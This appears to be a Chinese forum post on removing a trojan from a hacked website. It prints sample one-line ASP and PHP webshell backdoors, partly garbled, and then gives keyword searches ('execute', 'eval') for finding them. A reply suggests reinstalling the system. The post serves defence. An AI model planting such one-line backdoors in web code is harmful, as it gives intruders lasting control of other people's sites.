网站被人挂马后。如何彻底清除木马

教你个检查asp和php的一句话后门.

一般入侵者在得到一个网站的webshell后,为了以后再能进来,一般会在网页中插入一句话木马,方便以后进来,一句话木马隐蔽性非常强,在这么多文件中,我们根本不知道插在哪个文件里面,如果一个一个找,一个一个搜,是不太可能的.所以我教你个找的方法.

asp的一句话后门:
"〈%execute request("l")%〉"

PHP的一句话后门:
第一种:
EOT;
eval($a);
print <<<EOT

第二钟:
2.
a′]=′aa′;eval($_POST[′a′]);//

第三种:
3.
a′;eval($_POST[′a′]);//

运用的检查方法和检测asp或php木马一样,先在搜索指定日期被修改的或创建的文件,然后一个一个文件内容里搜索以下关键字:
asp一句话木马: 搜索关键字:〈%execute
PHP一句话木马:搜索关键字:eval

一般通过上面的方法很快就查出一句话后门搜在哪个页面里面,揪出来K掉就行了.

重装系统

要么结束木马进程 删除木马程序
在注册表删除木马的启动项
这样比较复杂 高手才能做到

还是冲撞系统吧！1